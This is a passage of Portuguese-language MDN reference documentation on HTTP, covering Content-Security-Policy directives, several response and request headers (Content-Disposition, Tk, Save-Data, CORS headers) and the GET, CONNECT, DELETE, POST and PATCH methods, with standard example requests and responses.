`<link>` com `rel=\"stylesheet\"`.\n\n`style-src-attr` (en-US)\nExperimental\n\nEspecifica origens válidas para estilos dentro de linha aplicados a elementos DOM individuais.\n\n`worker-src` (en-US)\nExperimental\n\nEspecifica origens válidas para scripts `Worker`, `SharedWorker` (en-US), ou `ServiceWorker` (en-US).\n\n### Document directives (en-US)\n\nAs diretivas de Documento governam as propriedades de um documento ou ambiente worker (trabalhador) para qual a política se aplica.\n\n#### Lista de diretivas de Documento da Política de Segurança de Conteúdo\n\n`base-uri` (en-US)\n\nRestringe as URLs que podem ser usadas em um elemento `<base>` do documento.\n\n`plugin-types` (en-US)\n\nRestringe o conjunto de *plugins* que podem ser embutidos em um documento limitando pelos tipos de conteúdos que podem ser carregados.\n\n`sandbox` (en-US)\n\nHabilita o *sandbox* para um recurso requisitado similar ao atributo `sandbox` de `<iframe>`.\n\n### Navigation directives (en-US)\n\nDiretivas de Navegação governam para qual localização um usuário pode navegar ou submeter um formulário para, por exemplo.\n\n#### Lista de diretivas de Navegação da Política de Segurança de Conteúdo\n\n`form-action` (en-US)\n\nRestringe as URLs que podem ser usadas como alvo para as submissões de um formulário para um dado contexto.\n\n`frame-ancestors` (en-US)\n\nEspecifica pais válidos que podem embutir uma página usando `<frame>` (en-US), `<iframe>`, `<object>` (en-US), `<embed>`, ou `<applet>`.\n\n`navigate-to` (en-US)\nExperimental\n\nRestringe as URLs para qual um documento pode iniciar navegação quaisquer sejam os motivos, incluindo `<form>` (en-US) (se `form-action` (en-US) não for especificado), `<a>`, `window.location`, `window.open` (en-US), etc.\n\n### Reporting directives (en-US)\n\nDiretivas de Relatório controlam o processo de reportar as violações CSP. Veja também o cabeçalho `Content-Security-Policy-Report-Only`.\n\n#### Lista de Diretivas de Relatório da Política de Segurança de Conteúdo\n\n`report-uri` (en-US)\nDeprecated\n\nInstrui ao agente de usuário para reportar tentativas de violaçnao de Política de Segurança de Conteúdo. Esses relatórios de violação consistem de documentos JSON enviados por requisição HTTP `POST` para uma URI especificada.\n\n**Aviso:** Apesar da diretiva `report-to` (en-US) tem a inteção de trocar a diretiva depreciada **`report-uri`**, `report-to` (en-US) não é suportado na maioria dos navegadores ainda. Então para compatibilidade com os navegadores atuais enquanto adiciona a compatibilidade com `report-to` (en-US), você pode especificar ambos **`report-uri`** e `report-to` (en-US):\n```\n\nContent-Security-Policy: ...; report-uri https://endpoint.example.com; report-to groupname\n```\n\n\nEm navegadores que suportam `report-to` (en-US), a diretiva **`report-uri`** será ignorada.\n\n`report-to` (en-US)\nExperimental\n\nDispara um `SecurityPolicyViolationEvent`.\n\n### Outras diretivas\n\n`block-all-mixed-content` (en-US)\n\nPrevine carregamento de quaisquer recursos usando HTTP quando a página é carregada usando HTTPS.\n\n`referrer` (en-US)\nDeprecated\n\nNon-standard\n\nEra usado para especificar informação no cabeçalho de referência (sic) para links fora da página. Ao invés disso, use o cabeçalho `Referrer-Policy`.\n\n`require-sri-for` (en-US)\nExperimental\n\nObriga o uso de SRI (en-US) para *scripts* ou estilos na página.\n\n`require-trusted-types-for` (en-US)\nExperimental\n\nImpõe Trusted Types (Tipos confiáveis) em coletores de eventos (vide: Sink (Computing)) para evitar injeção de DOM XSS.\n\n`trusted-types` (en-US)\nExperimental\n\nUsado para especificar uma lista branca de políticas Trusted Types (Tipos confiáveis) (Tipos confiáveis permitem aplicações travarem injeções DOM XSS em coletores de eventos (*sinks*) para aceitarem somente valores tipados não falsificáveis no lugar de *strings*.\n\n`upgrade-insecure-requests` (en-US)\n\nInstrui o usuário de agente a tratar todas as URLs inseguras de um site (aquelas servidas através do HTTP) a serem trocadas por URLs seguras (aqueles servidas através de HTTPS). Essa diretiva tem como foco sites com grande número de URLs inseguras e legadas que precisam ser reescritas.\n\nCSP em workers(trabalhadores)\n-----------------------------\n\nWorkers (trabalhadores) em geral não são governados pela política de segurança de conteúdo do documento (ou trabalhador pai) que os criou. Para especificar uma política de segurança de conteúdo para um trabalhador, coloque um cabeçalho de resposta `Content-Security-Policy` para a requisição que pediu o *script* do trabalhador em si.\n\nA exceção à isso é se o *script* original do trabalhador é um identificador único global (por exemplo, se a URL tem um esquema de dados ou *blob*). Neste caso, o trabalhador herda a política de segurança de conteúdo do documento ou trabalhador que o criou.\n\nMúltiplas políticas de segurança de conteúdo\n--------------------------------------------\n\nCSP permite múltiplas políticas sendo especificadas para um recurso, através dos cabeçalhos `Content-Security-Policy`, `Content-Security-Policy-Report-Only` e do elemento `<meta>`.\n\nVocê pode usar o cabeçalho `Content-Security-Policy` mais de uma vez como no exemplo abaixo. Preste atenção a diretiva `connect-src` (en-US) aqui. Mesmo que a segunda política permitiria a conexão, a primeira política contém `connect-src 'none'`. Adicionando políticas adicionais *podem somente restringir* as capacidades do recurso protegido, o que significa que não haverá conexão permitida e, como política mais restrita, `connect-src 'none'` é imposto.\n```\n\nContent-Security-Policy: default-src 'self' http://example.com;\n                         connect-src 'none';\nContent-Security-Policy: connect-src http://example.com/;\n                         script-src http://example.com/\n```\n\nExemplos\n--------\n\nExemplo: Desabilitar *inline/eval* inseguros, permitindo somente carregamento de conteúdos (imagens, fontes de letras, scripts, etc.) através do HTTPS:\n```\n\n// cabeçalho\nContent-Security-Policy: default-src https:\n\n// meta tag\n<meta http-equiv=\"Content-Security-Policy\" content=\"default-src https:\">\n```\n\n\nExemplo: Site pré-existente que usa muito código dentro de linha para corrigir mas quer assegurar que os recursos são carregador somente através de HTTPS e desabilita plugins:\n```\n\nContent-Security-Policy: default-src https: 'unsafe-eval' 'unsafe-inline'; object-src 'none'\n```\n\n\nExemplo: Não implemente a política acima ainda, ao invés disso, somente reporte as violações que podem ter ocorrido:\n```\n\nContent-Security-Policy-Report-Only: default-src https:; report-uri /csp-violation-report-endpoint/\n```\n\n\nVeja as Mozilla Web Security Guidelines para mais exemplos.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Content Security Policy Level 3 # csp-header |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Content-Security-Policy-Report-Only`\n* Aprenda sobre: Content Security Policy\n* Segurança de Conteúdo em Extensões Web (en-US)\n* Adotando uma política estrita\n* Avaliador CSP - Avalie sua Política de Segurança de Conteúdo"}
{"title":"Content-Disposition - HTTP","text":"Content-Disposition\n===================\n\nEm uma resposta HTTP normal, o cabeçalho de resposta **`Content-Disposition`** indica se o conteúdo é esperado a ser exibido *inline* no navegador, isso significa, como uma página Web ou parte de uma, ou como um anexo, que é baixado e salvo localmente.\n\nEm um corpo `multipart/form-data`, o cabeçalho geral HTTP **`Content-Disposition`** é um cabeçalho que pode ser utilizado em uma subparte de um corpo multipartes para dar informações sobre o campo a que ele se aplica. A subparte é delimitada pelo limite definido no cabeçalho `Content-Type`. Usado no corpo em si, `Content-Disposition` não tem efeito.\n\nO cabeçalho `Content-Disposition` é definido em um grande contexto de mensagens MIME para e-mail, mas somente um subconjunto dos possíveis parâmetros são aplicados à formulários HTTP e requisições `POST` requests. Somente o valor `form-data`, assim como a diretiva opcional `name` e `filename`, podem ser usadas no contexto HTTP.\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | Response header (en-US) (para o corpo principal)General header\n (para a subparte de um corpo multipartes)\n  |\n| Forbidden header name | não |\n\nSintaxe\n-------\n\n### Como cabeçalho de resposta para o corpo principal\n\nO primeiro parâmetro no contexto HTTP ou é `inline` (valor padrão, indicando que ele pode ser mostrado dentro de uma página Web, ou como uma página Web) ou `attachment` (indicando que ele deve ser baixado; a maioria dos navegadores apresenta uma caixa de diálogo \"Salvar como\", pré-preenchido com o valor do parâmetro `filename` se presente).\n```\n\nContent-Disposition: inline\nContent-Disposition: attachment\nContent-Disposition: attachment; filename=\"filename.jpg\"\n```\n\n### Como cabeçalho para um corpo multipartes\n\nO primeiro parâmetro no contexto HTTP é sempre o `form-data`. Parâmetros adicionais são *case-insensitive* e possuem argumentos que usam a sintaxe de cadeia de caracteres delimitadas por aspas depois do sinal `'='`. Múltiplos parâmetros são separados por um ponto e vírgula (`';'`).\n```\n\nContent-Disposition: form-data\nContent-Disposition: form-data; name=\"fieldName\"\nContent-Disposition: form-data; name=\"fieldName\"; filename=\"filename.jpg\"\n```\n\n### Diretivas\n\n`name`\n\nO nome é seguido por uma cadeia de caracteres contendo o nome do campo HTML no formulário que o conteúdo dessa subparte se refere. Quando lidando com múltiplos arquivos no mesmo campo (por exemplo, o atributo `multiple` de um elemento `{HTMLElement(\"input\",\"<input type=\\\"file\\\">\")}}`), podem haver diversas subpartes com o mesmo nome.\n\nUm `name` com o valor de `'_charset_'` indica que a parte não é um campo HTML, mas uma codificação para usar em partes sem explicitar a informação de codificação.\n\n`filename`\n\nÉ seguido por uma cadeia de caracteres contendo o nome original do arquivo transmitido. O nome do arquivo é sempre opcional e não deve ser usado cegamente pela aplicação: informação de caminho deve ser removida, e conversão para as regras do sistema de arquivo do servidor devem ser feitas. Este parâmetro provém a maior parte da informação indicativa. Quando usado em combinação com `Content-Disposition: attachment`, ele é usado como nome de arquivo padrão para uma eventual caixa de diálogo \"Salvar como\" apresentado ao usuário.\n\n`filename*`\n\nOs parâmetros \"filename\" e \"filename\\*\" se diferenciam somente no fato de que \"filename\\*\" usa a codificação definida na RFC 5987. Quando ambos \"filename\" e \"filename\\*\" estão presentes em um único campo de valor do cabeçalho, \"filename\\*\" é preferido sobre \"filename\" quando ambos são entendidos.\n\nExemplos\n--------\n\nUma resposta ativando a caixa de diálogo \"Salvar como\":\n```\n\n200 OK\nContent-Type: text/html; charset=utf-8\nContent-Disposition: attachment; filename=\"cool.html\"\nContent-Length: 21\n\n<HTML>Me salve!</HTML>\n```\n\n\nO simples arquivo HTML será salvo como um download regular ao invés de ser mostrado no navegador. A maioria dos navegadores irá propôr salvar o arquivo como nome de `cool.html` (por padrão).\n\nUm exemplo de um formulário de HTML postado usando o formato `multipart/form-data` que faz o uso do cabeçalho `Content-Disposition`:\n```\n\nPOST /test.html HTTP/1.1\nHost: example.org\nContent-Type: multipart/form-data;boundary=\"boundary\"\n\n--boundary\nContent-Disposition: form-data; name=\"field1\"\n\nvalue1\n--boundary\nContent-Disposition: form-data; name=\"field2\"; filename=\"example.txt\"\n\nvalue2\n--boundary--\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7578 | Returning Values from Forms: multipart/form-data |\n| RFC 6266 | Use of the Content-Disposition Header Field in the Hypertext Transfer Protocol (HTTP) |\n| RFC 2183 | Communicating Presentation Information in Internet Messages: The Content-Disposition Header Field |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nNotas de compatibilidade\n------------------------\n\n* Firefox 5 lida com o cabeçalho de resposta HTTP `Content-Disposition` mais efetivamente se ambos parâmetros `filename` e `filename*` são providos; ele olha através de todos os nomes providenciados, usando o parâmetro `filename*` se um estiver disponível, mesmo se o parâmetro `filename` estiver incluído primeiro. Anteriormente, o primeiro parâmetro que combinasse seria utilizado, Previously, the first matching parameter would be used, desse modo prevenindo um nome mais apropriado de ser utilizado. Veja Erro do Firefox 588781.\nVeja também\n-----------\n\n* Formulários HTML\n* O cabeçalho `Content-Type` definindo o limite do corpo multipartes.\n* A interface `FormData` usada para manipular dados de formulários para uso na API `XMLHttpRequest`."}
{"title":"Tk - HTTP","text":"Tk\n==\n\nO cabeçalho de resposta **`Tk`** indica o status de rastreamento que foi aplicado à requisição correspondente.\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | Response header (en-US) |\n| Forbidden header name | não |\n\nSintaxe\n-------\n```\n\nTk: !  (em construção)\nTk: ?  (dinâmico)\nTk: G  (portão ou múltiplas partes)\nTk: N  (não está rastreando)\nTk: T  (rastreando)\nTk: C  (rastreando com consentimento)\nTk: P  (potencial consentimento)\nTk: D  (desconsiderando DNT)\nTk: U  (atualizado)\n```\n\n### Diretivas\n\n!\n\nEm construção. O servidor de origem está atualmente testando sua comunicação de status de rastreamento.\n\n?\n\nDinâmico. O servidor de origem precisa de mais informação para determinar o status de rastreamento.\n\nG\n\nPortão ou múltiplas partes. O servidor está agindo como um portão para uma troca envolvendo várias múltiplas partes.\n\nN\n\nNão está rastreando.\n\nT\n\nRastreando.\n\nC\n\nRastreamento com consentimento. O servidor de origem acredita que ele recebeu consentimento a priori para rastrear o usuário, agente de usuário ou dispositivo.\n\nP\n\nPotencial consentimento. O servidor origem não conhece, em tempo real, se ele recebeu consentimento a priori para rastrear o usuário, o agente de usuário ou dispositivo, mas promete não usar ou compartilhar qualquer dado `DNT:1` até que o consentimento seja determinado, e promete futuramente deletar ou permanentemente sumir com a identidade em até 48 horas para qualquer dado `DNT:1` recebido para qual o consentimento não tenha sido recebido.\n\nD\n\nDesconsiderando DNT. O servidor de origem está incapacitado ou relutante em respeitar uma preferência de rastreamento recebida do agente de usuário requisitante.\n\nU\n\nAtualizado. A requisição resultou em uma potencial mudança no status de rastreamento aplicado ao usuário, agente de usuário ou dispositivo.\n\nExemplos\n--------\n\nO cabeçalho `Tk` para um recurso que diz não querer ser rastreado se parece com isso:\n```\n\nTk: N\n```\n\nEspecificações\n--------------\n\n#### No specification found\n\nNo specification data found for `http.headers.Tk`.  \nCheck for problems with this page or contribute a missing `spec_url` to mdn/browser-compat-data. Also make sure the specification is included in w3c/browser-specs.\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Cabeçalho `DNT`\n* `Navigator.doNotTrack` (en-US)"}
{"title":"Access-Control-Max-Age - HTTP","text":"Access-Control-Max-Age\n======================\n\nO cabeçalho de resposta **`Access-Control-Max-Age`** indica por quanto tempo os resultados de uma preflight request (que é a informação contida nos cabeçalhos `Access-Control-Allow-Methods` e `Access-Control-Allow-Headers`) pode ser cacheada (mantida).\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | Response header (en-US) |\n| Forbidden header name | não |\n\nSintaxe\n-------\n```\n\nAccess-Control-Max-Age: <delta-segundos>\n```\n\nDiretivas\n---------\n\n<delta-segundos>\n\n Número máximo de segundos que os resultados podem ser cacheados.\n Firefox limita isso em 24 horas (86400 segundos).\n Chromium (anterior à v76) limita isso à 10 minutos (600 segundos).\n Chromium (começando na v76) limita isso à 2 horas (7200 segundos).\n Chromium também especifica o valor padrão de 5 segundos.\n O valor de **-1** irá desabilitar o cacheamento, requerendo uma requisição de checagem pré-vôo OPTIONS para todas as chamadas.\n\n\nExemplos\n--------\n\nResultados cacheados para uma requisição pré-vôo por 10 minutos:\n```\n\nAccess-Control-Max-Age: 600\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Fetch Standard # http-access-control-max-age |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Access-Control-Allow-Headers`\n* `Access-Control-Allow-Methods`"}
{"title":"Upgrade-Insecure-Requests - HTTP","text":"Upgrade-Insecure-Requests\n=========================\n\nO cabeçalho HTTP **`Upgrade-Insecure-Requests`** envia um sinal ao servidor expressando a preferência do cliente por uma resposta criptografada e autenticada, e podendo manipular com êxito a diretiva `upgrade-insecure-requests` (en-US) CSP (en-US).\n\n|  |  |\n| --- | --- |\n| Header type | Request header |\n| Forbidden header name | no |\n\nSyntaxe\n-------\n```\n\nUpgrade-Insecure-Requests: 1\n```\n\nExemplos\n--------\n\nUm cliente solicita ao servidor que ele faça o suporte aos mecanismos de upgrade de `upgrade-insecure-requests` (en-US):\n```\n\nGET / HTTP/1.1\nHost: example.com\nUpgrade-Insecure-Requests: 1\n```\n\n\nO servidor agora pode redirecionar para uma versão segura do site. Um cabeçalho `Vary` pode ser usado para que o site não seja veiculado por caches à clientes que não oferecem suporte ao mecanismo de upgrade.\n```\n\nLocal: https://example.com/\nVary: Upgrade-Insecure-Requests\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Upgrade Insecure Requests # preference |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Content-Security-Policy`\n* CSP `upgrade-insecure-requests` (en-US) directive"}
{"title":"Save-Data - HTTP","text":"Save-Data\n=========\n\nO cabeçalho **`Save-Data`** é um booleano no qual, em requisições, indica a preferência do cliente para reduzir uso de dados. Isso pode ser por algumas razões como custo de transferência alto, baixa velocidade de conexão, etc.\n\nUm valor de `On` indica uma opção explícita do usuário em querer reduzir a quantidade de dados usados no cliente, e quando comunicade para origens permite elas entregarem conteúdo alternativo para reduzir a quantidade de dados baixados como recursos de imagem e vídeo menores, marcação e estilo diferente, desabilitar *polling* e atualizações automáticas, e assim por diante.\n\n**Nota:** Desabilitar HTTP/2 Server Push (RFC 7540, sessão 8.2: Server Push) pode ser desejável para reduzir o *download* de dados.\n\nSintaxe\n-------\n```\n\nSave-Data: <sd-token>\n```\n\nDiretivas\n---------\n\n`<sd-token>`\n\nUm valor numérico indicando se o cliente quer optar ou não em entrar em modo de utilização de dados reduzido. `on` significa sim, enquanto `off` (o padrão) indica não.\n\nExemplos\n--------\n\nO cabeçalho `Vary` assegura que o conteúdo é cacheado apropriadamante (por exemplos assegurando que o usuário não é servido com uma imagem de baixa qualidade do cache quando o cabeçalho `Save-Data` não está mais presente [*e.g.* depois de ter trocado de rede celular para Wi-Fi]).\n\n### Com `Save-Data: on`\n\nRequisição:\n```\n\nGET /image.jpg HTTP/1.0\nHost: example.com\nSave-Data: on\n```\n\n\nResposta:\n```\n\nHTTP/1.0 200 OK\nContent-Length: 102832\nVary: Accept-Encoding, Save-Data\nCache-Control: public, max-age=31536000\nContent-Type: image/jpeg\n\n[...]\n```\n\n### Sem `Save-Data`\n\nRequisição:\n```\n\nGET /image.jpg HTTP/1.0\nHost: example.com\n```\n\n\nResposta:\n```\n\nHTTP/1.0 200 OK\nContent-Length: 481770\nVary: Accept-Encoding, Save-Data\nCache-Control: public, max-age=31536000\nContent-Type: image/jpeg\n\n[...]\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| draft-grigorik-http-client-hints-03, section 7: Save-Data | HTTP Client Hints |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Ajude seus usuários a \"salvar-dados\" (Help Your Users `Save-Data`) - CSS Tricks\n* Entregando aplicações leves e rápidas com Save-Data (Delivering Fast and Light Applications with Save-Data) - Google Developers\n* Cabeçalho para indicar que o conteúdo servidor varia por `Save-Data`: `Vary`\n* Funcionalidade CSS @media `prefers-reduced-data` (en-US) \nExperimental"}
{"title":"Access-Control-Expose-Headers - HTTP","text":"Access-Control-Expose-Headers\n=============================\n\nO cabeçalho de resposta **`Access-Control-Expose-Headers`** indica quais cabeçalhos podem ser expostos como parte da resposta listando os seus nomes.\n\nPor padrão, somente os 6 CORS-safelisted response headers (en-US) são expostos:\n\n* `Cache-Control`\n* `Content-Language`\n* `Content-Type`\n* `Expires`\n* `Last-Modified`\n* `Pragma`\n\nSe você quiser que clientes tenham acesso a outros cabeçalhos, você deve listá-los usando o cabeçalho `Access-Control-Expose-Headers`.\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | Response header (en-US) |\n| Forbidden header name | não |\n\nSintaxe\n-------\n```\n\nAccess-Control-Expose-Headers: <nome-do-cabeçalho>, <nome-do-cabeçalho>, ...\nAccess-Control-Expose-Headers: *\n```\n\nDiretivas\n---------\n\n<nome-do-cabeçalho>\n\nUma lista dos cabeçalhos expostos contendo zero ou mais nomes de cabeçalhos além dos CORS-safelisted request headers (en-US) que o recurso pode usar e expor.\n\n`*` (coringa)\n\n O valor \"`*`\" conta somente como um valor coringa para requisições sem credenciais (requisições sem cookies HTTP ou informação de autenticação HTTP). Em requisições com credenciais, ele é tratado como o nome de cabeçalho literal \"`*`\" sem qualquer semântica.\n Note que o cabeçalho `Authorization` não pode ter valor coringa e sempre precisa ser listado explicitamente.\n\n\nExemplos\n--------\n\nPara expor um cabeçalho de requisição não-CORS-seguro, você pode especificar:\n```\n\nAccess-Control-Expose-Headers: Content-Length\n```\n\n\nPara expor um cabeçalho customizado adicionalmente, como `X-Kuma-Revision`, você pode adicionar múltiplos cabeçalhos separados por vírgula:\n```\n\nAccess-Control-Expose-Headers: Content-Length, X-Kuma-Revision\n```\n\n\nEm requisições sem credênciais, você também pode usar um valor coringa:\n```\n\nAccess-Control-Expose-Headers: *\n```\n\n\nEntretanto, isso não irá colocar um valor coringa para o cabeçalho `Authorization`, então caso você precise que ele seja exposto, você precisa listá-lo explicitamente:\n```\n\nAccess-Control-Expose-Headers: *, Authorization\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Fetch Standard # http-access-control-expose-headers |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Access-Control-Allow-Headers`\n* `Access-Control-Allow-Origin`"}
{"title":"GET - HTTP","text":"GET\n===\n\nO **método HTTP GET** solicita uma representação do recurso especificado. Solicitações usando GET só devem recuperar dados.\n\n|  |  |\n| --- | --- |\n| Requisição tem corpo | Não |\n| Resposta bem-sucedida tem corpo | Sim |\n| Seguro | Sim |\n| Idempotente | Sim |\n| Cacheável | Sim |\n| Permitido em formulários HTML | SIm |\n\nSintaxe\n-------\n```\n\nGET /index.html\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7231, sessão 4.3.1: GET | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Range`"}
{"title":"CONNECT - HTTP","text":"CONNECT\n=======\n\nO \\*\\*médoto HTTP `CONNECT` \\*\\*começa a comunicação bidirecional com o recurso solicitado. Ele pode ser usado para abrir um túnel.\n\nPor exemplo, o método `CONNECT` pode ser utilizado para acessar websites que usam SSL (en-US) (HTTPS). O cliente solicita a um servidor proxy HTTP que tunelize a conexão TCP para o destino desejado. O servidor então procede para fazer a conexão em nome do cliente. Uma vez que a conexão foi estabelecida pelo servidor, o servidor Proxy continua a proxy do fluxo TCP para e do cliente.\n\n`CONNECT` é um método hop-by-hop.\n\n|  |  |\n| --- | --- |\n| Requisição tem corpo | Sim |\n| Resposta bem sucedida tem corpo | Sim |\n| Seguro | Não |\n| Idempotente | Não |\n| Cacheável | Não |\n| Permitido em formulários HTML | Não |\n\nSintaxe\n-------\n```\n\nCONNECT www.exemplo.com:443 HTTP/1.1\n```\n\nExemplo\n-------\n\nAlguns servidores de proxy podem precisar de autoridade para criar um túnel. Veja mais no header `Proxy-Authorization`\n\n\n```http\nCONNECT server.exemplo.com:80 HTTP/1.1\nHost: server.exemplo.com:80\nProxy-Authorization: basic aGVsbG86d29ybGQ=\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7231, sessão 4.3.6: CONNECT | Hypertext Transfer Protocol (HTTP/1.1): Semântica e conteúdo |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Servidor proxy\n* `Proxy-Authorization`"}
{"title":"DELETE - HTTP","text":"DELETE\n======\n\nO **método de requisição HTTP DELETE** remove o recurso especificado.\n\n|  |  |\n| --- | --- |\n| Requisição tem corpo | Talvez |\n| A resposta bem sucedida tem corpo | Talvez |\n| Seguro | Não |\n| Idempotente | Sim |\n| Cacheável | Não |\n| \n Aceito nos\n formulários HTML | Não |\n\nSintaxe\n-------\n```\n\nDELETE /arquivo.html HTTP/1.1\n```\n\nExemplo\n-------\n\n### Requisição\n```\n\nDELETE /arquivo.html HTTP/1.1\n```\n\n### Respostas\n\nSe um método `DELETE` for aplicado com sucesso, há muitos códigos de status de resposta possíveis:\n\n* Um código de status `202` (`Accepted`) se a ação provavelmente teve sucesso, porém ainda não foi realizada.\n* Um código de status `204` (`No Content`) se a ação foi realizada e nenhuma outra informação deve ser fornecida.\n* Um código de status `200` (`OK`) se a ação foi realizada e a mensagem de resposta inclui uma representação descrevendo o status.\n```\n\nHTTP/1.1 200 OK\nDate: Wed, 21 Oct 2015 07:28:00 GMT\n\n<html>\n  <body>\n    <h1>Arquivo removido.</h1>\n  </body>\n</html>\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7231, sessão 4.3.5: DELETE | Protocolo de Transferência de Hipertexto (HTTP/1.1): Semântica e conteúdo |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* HTTP status: `200`, `202`, `204`"}
{"title":"POST - HTTP","text":"POST\n====\n\nO **método HTTP `POST`** envia dados ao servidor. O tipo do corpo da solicitação é indicado pelo cabeçalho `Content-Type`.\n\nA diferença entre `PUT` e `POST` é que `PUT` é idempotente: chamá-lo uma vez ou várias vezes sucessivamente tem o mesmo efeito (ou seja, nenhum efeito colateral), onde sucessivos POST idênticos podem ter efeitos adicionais, assim como passando uma ordem várias vezes.\n\nUma solicitação `POST` geralmente é enviada por meio de um formulário HTML e resulta em uma alteração no servidor. Nesse caso, o tipo de conteúdo é selecionado colocando a string adequada no atributo `enctype` (en-US) do elemento `<form>` (en-US) ou o atributo `formenctype` dos elementos `<input>` ou `<button>`:\n\n* `application/x-www-form-urlencoded`: as chaves e valores são codificados em tuplas de valor-chave separadas por `'&'`, com um `'='` entre a chave e o valor. Caracteres não alfanuméricos em chaves e valores são percent encoded (en-US): este é o motivo pelo qual esse tipo não é adequado para uso com dados binários (ao invés disso, use `multipart/form-data`)\n* `multipart/form-data`\n* `text/plain`\n\nQuando a requisição `POST` é enviada através de um método diferente de um formulário HTML - como por meio de um `XMLHttpRequest` - o corpo pode assumir qualquer tipo. Conforme descrito na especificação HTTP 1.1, o `POST` é projetado para permitir que um método uniforme cubra as seguintes funções:\n\n* Anotação de recursos existentes\n* Postar uma mensagem em um quadro de avisos, newsgroup, lista de emails ou grupo similar de artigos;\n* Adicionando um novo usuário através de um modal de inscrição;\n* Fornecendo um bloco de dados, como o resultado do envio de um formulário, para um processo de manipulação de dados;\n* Estendendo um banco de dados por meio de uma operação de *append*.\n\n|  |  |\n| --- | --- |\n| Requisição tem corpo | Sim |\n| Resposta bem-sucedida tem corpo | Sim |\n| Seguro | Não |\n| Idempotente | Não |\n| Cacheável | Somente se as informações de atualização estiverem incluídas |\n| \n Permitido em\n formulários HTML | Sim |\n\nSintaxe\n-------\n```\n\nPOST /index.html\n```\n\nExemplo\n-------\n\nUm simples formulário utilizando o padrão *content type* `application/x-www-form-urlencoded`:\n\n\n```http\nPOST / HTTP/1.1\nHost: foo.com\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 13\n\nsay=Hi&to=Mom\n```\n\n\nUm formulário utilizando o *content type* `multipart/form-data`:\n\n\n```http\nPOST /test.html HTTP/1.1\nHost: example.org\nContent-Type: multipart/form-data;boundary=\"boundary\"\n\n--boundary\nContent-Disposition: form-data; name=\"field1\"\n\nvalue1\n--boundary\nContent-Disposition: form-data; name=\"field2\"; filename=\"example.txt\"\n\nvalue2\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7231, sessão 4.3.3: POST | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Content-Type`\n* `Content-Disposition`"}
{"title":"PATCH - HTTP","text":"PATCH\n=====\n\nO **método de requisição HTTP PATCH** aplica modificações parciais a um recurso.\n\nO método HTTP `PUT` permite apenas substituições completas de um documento. Em contraste ao `PUT`, o método `PATCH` não é idempotente, ou seja, requisições sucessivas idênticas *podem* obter efeitos distintos. Todavia, é possível realizar requisições `PATCH` de modo a serem idempotentes.\n\n`PATCH` (assim como `PUT`) podem ter efeitos colaterais em outros recursos.\n\nPara descobrir se um servidor dá suporte a `PATCH`, um servidor pode divulgar seu suporte adicionando tal suporte à lista no cabeçalho de resposta HTTP `Allow` ou `Access-Control-Allow-Methods` (para CORS).\n\nOutra indicação (implícita) da permissão de PATCH é a presença do cabeçalho `Accept-Patch`, que especifica o formato do documento patch aceito pelo servidor.\n\n|  |  |\n| --- | --- |\n| Requisição possui corpo | Sim |\n| Resposta sucedida possui corpo | Sim |\n| Safe | Não |\n| Idempotent | Não |\n| Cacheable (en-US) | Não |\n| \n Permitido em\n formulários HTML | Não |\n\nSintaxe\n-------\n```\n\nPATCH /file.txt HTTP/1.1\n```\n\nExemplo\n-------\n\n### Requisição\n\n\n```http\nPATCH /file.txt HTTP/1.1\nHost: www.example.com\nContent-Type: application/example\nIf-Match: \"e0023aa4e\"\nContent-Length: 100\n\n[descrição das mudanças]\n```\n\n### Resposta\n\nUma resposta sucedida é indicada pelo *status* de resposta `204`, visto que a resposta não carrega um corpo de mensagem.\n\n\n```http\nHTTP/1.1 204 No Content\nContent-Location: /arquivo.txt\nETag: \"e0023aa4f\"\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 5789: PATCH | PATCH Method for HTTP |\n\nVeja também\n-----------\n\n* `204`\n* `Allow`, `Access-Control-Allow-Methods`\n* `Accept-Patch` – Especifica o documento 